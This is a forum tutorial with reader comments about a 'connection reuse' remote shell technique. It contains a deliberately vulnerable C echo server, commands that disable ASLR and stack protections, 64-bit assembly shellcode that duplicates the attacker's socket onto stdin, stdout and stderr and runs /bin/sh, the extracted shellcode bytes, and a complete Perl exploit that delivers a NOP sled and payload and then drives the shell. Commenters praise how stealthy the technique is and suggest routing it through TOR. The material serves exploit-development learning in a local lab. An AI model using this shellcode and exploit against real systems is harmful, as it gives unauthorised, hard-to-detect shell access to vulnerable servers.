Remote Exploit. Shellcode without Sockets

In this paper I will present an elegant technique (it’s my opinion, indeed) to get shell access to a vulnerable remote machine. It is not my own technique but I found it very interesting. The focus of this paper is on this technique and not in the way to exploit the vulnerability.

Setting your environment

So, in order to focus on the remote shell code and not on how to circumvent ASLR, non-executable stacks and so on (that will require lots of writing) we will disable most of these features for our test. Once you get your shellcode ready you can, indeed try to bring the protections back and exploit again the program. That is a very interesting exercise if you want to try.

First, we will disable the ASLR. This can be done with the following command:

echo 0 | sudo tee /proc/sys/kernel/randomize_va_space

This is temporary and will be reverted on the next reboot. In case you want it back without rebooting your machine:

echo 2 | sudo tee /proc/sys/kernel/randomize_va_space

To disable the rest of security functions we will be using the following flags to compile our vulnerable server:

-fno-stack-protector -z execstack

These flags disables stack canaries and also gives execution permissions to the stack. So we have a very easy to exploit environment.

A vulnerable service

Now let’s write a small echo server with a buffer overflow we can exploit remotely. The program is very simple. Can you spot the buffer overflow in the code?. Sure you can.

#include <stdio.h>
#include <string.h>

#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>

int
process_request (int s1, char *reply)
{
  char result[256];

  strcpy (result, reply);
  write (s1, result, strlen(result));
  printf ("Result: %p\n", &result);
  return 0;
}

int
main (int argc, char *argv[])
{
  struct sockaddr_in   server, client;
  socklen_t            len = sizeof (struct sockaddr_in);
  int                  s,s1, ops = 1;
  char                 reply[1024];

  server.sin_addr.s_addr = INADDR_ANY;
  server.sin_family = AF_INET;
  server.sin_port = htons(9000);

  s = socket (PF_INET, SOCK_STREAM, 0);
  if ((setsockopt (s, SOL_SOCKET, SO_REUSEADDR, &ops, sizeof(ops))) < 0)
    perror ("pb_server (reuseaddr):");
  bind (s, (struct sockaddr *) &server, sizeof (server));
  listen (s, 10);

  while (1)
    {
      s1 = accept (s, (struct sockaddr *)&client, &len);
      printf ("Connection from %s\n", inet_ntoa (client.sin_addr));
      memset (reply, 0, 1024);
      read (s1, reply, 1024);
      process_request (s1, reply);
      close (s1);
    }
  return 0;
}

Pretty standard stuff. Let’s compile it and finish our job making it into the easiest to exploit server ever:

gcc -g -fno-stack-protector -z execstack -o target target.c

Let’s verify it is vulnerable. Launch it in one terminal and from another terminal run:

$ perl -e 'print "A"x1024;' | nc localhost 9000

In the terminal running the server we should see something like:

$  ./target
Connection from 127.0.0.1
Result: 0x7fffffffdbf0
Segmentation fault (core dumped)

Note that I have added a print of the address of a local variable so you can verify that ASLR is disabled. You should always get the same number for every execution of the same binary (number can change if you modify the program).

You can now practice with this program to get a local shell using some of the shellcodes available around. Even if it is very easy you should do it at least once :). I will not cover this here. There are, literally thousands of tutorials on how to exploit a buffer overflow in this conditions. Just google it and do it.

The Remote Shell

Now it’s time to get a remote shell. The key word here is remote. This means that there is a network between the vulnerable machine and the attacker. Or in other words, we have to send/receive data through some socket. Based on this, there are fundamentally two ways to get a remote shell:

  • Your shellcode creates a server socket enabling connections from outside and feeding data in and out of a local shell… This is a Direct remote shell.
  • Your shellcode connects back to a predetermined host were some server is waiting for the connection from the victim… This is a Reverse remote shell.

You may want to read Remote Shells. Part I for more details.

This two definitions will bring to the mind of many of you those RHOST/RPORT variables, or whatever they are called… Yes, that thing to tell your payload what is the address and port to connect to. For a reverse shell you have to store this information in your payload in order to connect back. For a direct shell you usually define just the port, the server will be waiting for connections.

However, there is a third option, at least for Unix machines.

Connection Reuse

When executing a remote exploit, in order to exploit the vulnerability, you are already connected to the server… so, why do not reuse the connection that is already setup?. This is very neat, because it will not show anything suspicious in the victim like open ports for unknown services or outgoing connections from a server :dizzy_face:

The way to achieve this is very ingenious. It is based on the fact that, the system assigns file descriptions sequentially. Knowing this, we can just duplicate an existing file descriptor immediately after our connection and… unless the server is under heavy load, we should get a file descriptor equal to the file descriptor of the socket associated to our connection + 1 (so, the fd assigned just before, i.e. our connection).

Once we know the file descriptor for our current on-going connection, we just need to duplicate it to file descriptors 0,1 and 2 (stdin, stdout and stderr) and then spawn a shell. From that point on, all the input/output for that shell will be redirected to the socket.

Still confused? Haven’t read this (Remote Shells. Part I)?. Maybe now is a good time to do it.

The C code is something like this:

int sck = dup (0) - 1; // Duplicate stdin
dup2 (sck, 0);
dup2 (sck, 1);
dup2  (sck, 2);
execv ("/bin/sh", NULL);

See… no socket code at all!. If we make this into a shellcode and we manage to exploit the remote server to run that code, we will get shell access to the remote machine over the connection we used to feed the exploit in the remote server :scream:.

Many of you may have notice that this techniques (as usual) has some drawbacks. We have already mentioned that under heavy load on the server (many connections being established simultaneously), our dup trick may fail, and somebody else will get the shell access :sweat_smile:. Also, a proper server will close all file descriptors before becoming a daemon (man daemon), so we may need to try with others values as argument for dup.

This technique was brought to my attention by @_py in a discussion we had some time ago. The original code we checked at that time can be found here:

http://shell-storm.org/shellcode/files/shellcode-881.php

However this is 32bits code so I made my own 64bits version and a Perl script to run the exploit.

The 64bits Version of the Shellcode

I’m not really proud of it (I just realised how rusty my ASM is) but it works and it is only 3 bytes longer that the original 32bits version. Here it is:

section .text
global _start
_start:
	;; s = Dup (0) - 1
	xor rax, rax
	push rax
	push rax
	push rax
	pop rsi
	pop rdx
	push rax
	pop rdi
	mov al, 32
	syscall    		; DUP (rax=32) rdi = 0 (dup (0))

	dec rax
	push rax
	pop rdi 		; mov rdi, rax  ; dec rdi

	;; dup2 (s, 0); dup2(s,1); dup2(s,2)
loop:	mov al, 33
	syscall			; DUP2 (rax=33) rdi=oldfd (socket) rsi=newfd
	inc rsi
	mov rax,rsi
	cmp al, 2		; Loop 0,1,2 (stdin, stdout, stderr)
	
	jne loop


	;; exec (/bin/sh)
	push    rdx			        ; NULL
	mov	qword rdi, 0x68732f6e69622f2f	; "//bin/sh"
	push	rdi				; command
	push 	rsp			
	pop 	rdi			
	
	push 	rdx		;env
	pop 	rsi		;args
	
        mov     al, 0x3b	;EXEC (rax=0x4b) rdi="/bin/sh" rsi=rdx=
        syscall

I have added some comments for the less obvious parts and you will see a lot of push/pops. The reason is that a PUSH/POP pair is 2 bytes but a MOV R1,R2 is 3. This makes the code very ugly but a bit shorter… actually not much so I do not think if it is a good idea. Anyway, be free to improve it and post your versions in the comments. Also do not hesitate to share any doubt about the code.

Generating our Shellcode

Now, we have to get the shellcode in a format suitable to be send to the remote server. For doing that we have to first compile the code and then extract the machine code out of the compiled file. Compiling (assembling in this case) is straight forward:

nasm -f elf64 -o rsh.o rsh.asm

There are many different ways to get the binary data out of the object file. I use these nifty trick that produce a string in a format that I can easily add to a Perl or C program.

for i in $(objdump -d rsh.o -M intel |grep "^ " |cut -f2); do echo -n '\x'$i; done;echo

The two commands above will produce the following shellcode:

\x48\x31\xc0\x50\x50\x50\x5e\x5a\x50\x5f\xb0\x20\x0f\x05\x48\xff\xc8\x50\x5f\xb0\x21\x0f\x05\x48\xff\xc6\x48\x89\xf0\x3c\x02\x75\xf2\x52\x48\xbf\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x57\x54\x5f\x52\x5e\xb0\x3b\x0f\x05

Time to write the exploit

The Exploit

So we have a remote vulnerable system. You have figure out how to exploit the buffer overflow in our low-secured environment and we also have a shellcode to run on the remote system. Now we need a exploit. The exploit will put all this together and give us the remote shell we are looking for.

There are many ways to write it. I’ve used used Perl for mine. Of course. :stuck_out_tongue_winking_eye:

This is how it looks like:

#!/usr/bin/perl
use IO::Select;
use IO::Socket::INET;
$|=1;

print "Remote Exploit Example";
print "by 0x00pf for 0x00sec :)\n\n";

# You may need to calculate these magic numbers for your system
$addr = "\x10\xdd\xff\xff\xff\x7f\x00\x00"; 
$off = 264;

# Generate the payload
$shellcode = "\x48\x31\xc0\x50\x50\x50\x5e\x5a\x50\x5f\xb0\x20\x0f\x05\x48\xff\xc8\x50\x5f\xb0\x21\x0f\x05\x48\xff\xc6\x48\x89\xf0\x3c\x02\x75\xf2\x52\x48\xbf\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x57\x54\x5f\x52\x5e\xb0\x3b\x0f\x05";

$nops = $off - length $shellcode;
$payload = "\x90" x $nops . $shellcode . $addr;

$plen = length $payload;
$slen = length $shellcode;
print "SLED $nops Shellcode: $slen Payload size: $plen\n";

# Connect
my $socket = new IO::Socket::INET (
    PeerHost => '127.0.0.1',
    PeerPort => '9000',
    Proto => 'tcp',
    );
# Set up select for asynchronous read from the server
$sel = IO::Select->new( $socket );
$sel->add(\*STDIN);

# Exploit!
$socket->send ($payload);
$socket->recv ($trash,1024);
$timeout = .1;

$flag = 1; # Just to show a prompt

# Interact!
while (1) {
    if (@ready = $sel->can_read ($timeout))  {
	foreach $fh (@ready) {
	    $flag =1;
	    if($fh == $socket) {
		$socket->recv ($resp, 1024);
		print $resp;
	    }
	    else { # It is stdin
		$line = <STDIN>;
		$socket->send ($line);
	    }
	}
    }	
    else { # Show the prompt whenever everything's been read
	print "0x00pf]>  " if ($flag);
	$flag = 0;
    }	
}

The beginning of the exploit is pretty much the standard stuff. Generate the payload based on the magic numbers you had figured out with the help of gdb (note that those number may be different in your system, and the exploit as it is may not just work).

But then, we have to do something else for our special remote shell. With direct and reverse shells, once the exploit has been run and have done its job, we will normally use another program/module to connect to or to receive the connection from the remote machine. It can be netcat or your preferred pentesting platform or your own tool,…

However, in this case we are accessing the shell using an already establish connection. The one we used to send the payload. So I added some code to read commands from stdin and send them to the remote server and also to read data from the remote shell. This is the final part of the exploit. It is standard networking code. Nothing really special in there.

Now, you can try your remote shell exploit!

Conclusions

In this paper we have discussed a technique to get pretty stealth shell access to a remote vulnerable server without the need to deal with the sockets API provided by the system. This makes the development of the shellcode simpler and also makes it shorter (check this one for example http://shell-storm.org/shellcode/files/shellcode-858.php).

Be free to improve the shellcode and post it in the comments. Also, if somebody wants to try to exploit the server when the system security features are activated, please be my guest. That will involve:

  • Reactivate ASLR (you already know how to do that)
  • Make stack not executable (remove the -zexecstack flag or use the execstack tool)
  • Reactivate stack protection (remove the -fno-stackprotector flag)
  • Go Pro (compile with -DFORTIFY_SOURCE=2 or use -O2)
  • Go master (compile with -O2 -fPIC -pie -fstack-protector-all -Wl,-z,relro,-z,now)

Hack Fun!

21 Likes

Kicking 2017 off with a bang. Mamma mia!

4 Likes

Dude. Bruh.

:is an understatement.

This is really awesome. The connection reuse thing is such a dope concept.

So. In this example, we deactivated ASLR, and disabled stack canaries. Stack based buffer overflows are all over the web. What can we do today? What do modern day exploits, well, exploit, and how do we bypass ASLR and canaries?

You’ve done a super good job (as always), this is really good work.

- pry0cc

5 Likes

Thanks @_py and @pry0cc. Glad to heard you liked it.

When facing ASLR and stack protections we have to dive into ROP, Return to Libc and other techniques more advanced. I believe it is difficult to follow that without knowing the basics…

4 Likes

Teach us master pico!

1 Like

@pry0cc: Enjoy.

3 Likes

Clever. Is something like that possible on windows?

1 Like

AFAIK there is no direct equivalence to this on Windows. I’m pretty sure it should be possible to reuse the existing connection but I bet the process would probably be pretty different… but I do not know how. Maybe some of the windows guy can provide some details.

Woah, this is so clever! Awesome tutorial once again, might use this for the Ret2libc tut ^^

2 Likes

Thank you @py! This is a very good read. I do have some questions though.

system = 0x8048380
exit = 0x80483a0
system_arg = 0x80485b5 

He obtains these addresses by doing a hex dump of the binary. The only way he could do this would be if he already had shell access? This would never work for a remote exploit? Or would it?

I’m really interested in this but I need to grasp memory concepts a little more. May give your dynamic linker post another read through, I could do with going through Pico’s wannabe tutorials as well just to reinforce the basics.

1 Like

@pry0cc: The link is indeed not aimed at a scenario like the one @0x00pf presented. I linked it to you so you can get a general idea on how some of the modern exploit mitigations can be bypassed. The funny thing is that IoT/embedded devices barely manage to implement any of the aforementioned mitigations.

As for the dynamic linking stuff, I’ll try to write a few more posts on it from an exploit dev perspective once my exams are over.

3 Likes

Well, you need to have a local version of the program to exploit. I do not think you can write a exploit against a service without having access to the service itself and some details of the system. You have to get the program somehow (using some other flaw or getting it from other server with lower security) or use your recon phase to gather enough information (OS version, service version, compiler, etc…) to rebuild a “close-enough” version of the service to develop the exploit whenever the service is publicly available (open source project for instance).

I’m not 100% sure but I do not think you can develop a remote exploit without some kind of access to the binary. If anybody know about any technique to achieve that I’m interested in knowing more :slight_smile:

4 Likes

Ohhhhhhhh! I didn’t realise the addresses were the same in every binary. That’s dope. Okay thanks.

1 Like

Your sentence is a bit stronger that what I suggested.

I meant that, as far as the system configuration is the same (OS version, libc version, compiler version…) in two different machines. Compiling the same source will produce the same binary. I do not know if what you said is true… never checked it.

2 Likes

Right. So if you could obtain the same binary as them, then it will be the same?

1 Like

I would say so for most of the cases. Somebody can rebuild the binary with special linker flags that mesh up the memory.

Check the last section to see an example on how to relocate the text segment via linker flags. In that case you also need the Makefile, however I do not believe that happens very often.

2 Likes

Hi there. When I wrote this trick I had in mind it was not theorically valid, which led me not to propose an implementation for Metasploit for example. Hence, as an exploit coding fan, I suggest to rather use this shellcode for challenges and ROP your way for concrete and accurate socket-reuse exploits.

Also, if I may add something, the interests of such attacks are 1/ obviously that it’s stealthier regarding potential monitoring, and 2/ that as it uses an established channel initiated as in a classic client-server case, so coupling it with TOR seems easy as hell :wink:

8 Likes

Hi @zadyree,

Thanks for passing by our site and for that great trick. I was really amaze when I read your code in shell-storm!. Actually it took me a while to realise what it was doing :sweat:

Haven’t thought about TOR. That is a very good point.

6 Likes

Hi @0x00pf!

I think I found a small typo.

I found your shell command to generate shellcode didn’t work, it just produced a tonne of binary jibberish, this is the revised version that worked for me (I just escaped the first \ on the echo -n).

for i in $(objdump -d rsh.o -M intel |grep "^ " |cut -f2); do echo -n '\\x'$i; done;echo

Hi @pry0cc

It may be due to your shell. According to man page for echo

    (...)
    \xHH   byte with hexadecimal value HH (1 to 2 digits)

   NOTE: your shell may have its own version of echo, which usually supersedes the version described here.  Please refer to your shell's docu‐
   mentation for details about the options it supports.
   (...)

In may system with bash I get two slashes with your version. But it is very good you spotted as other people may have had that problem as well

4 Likes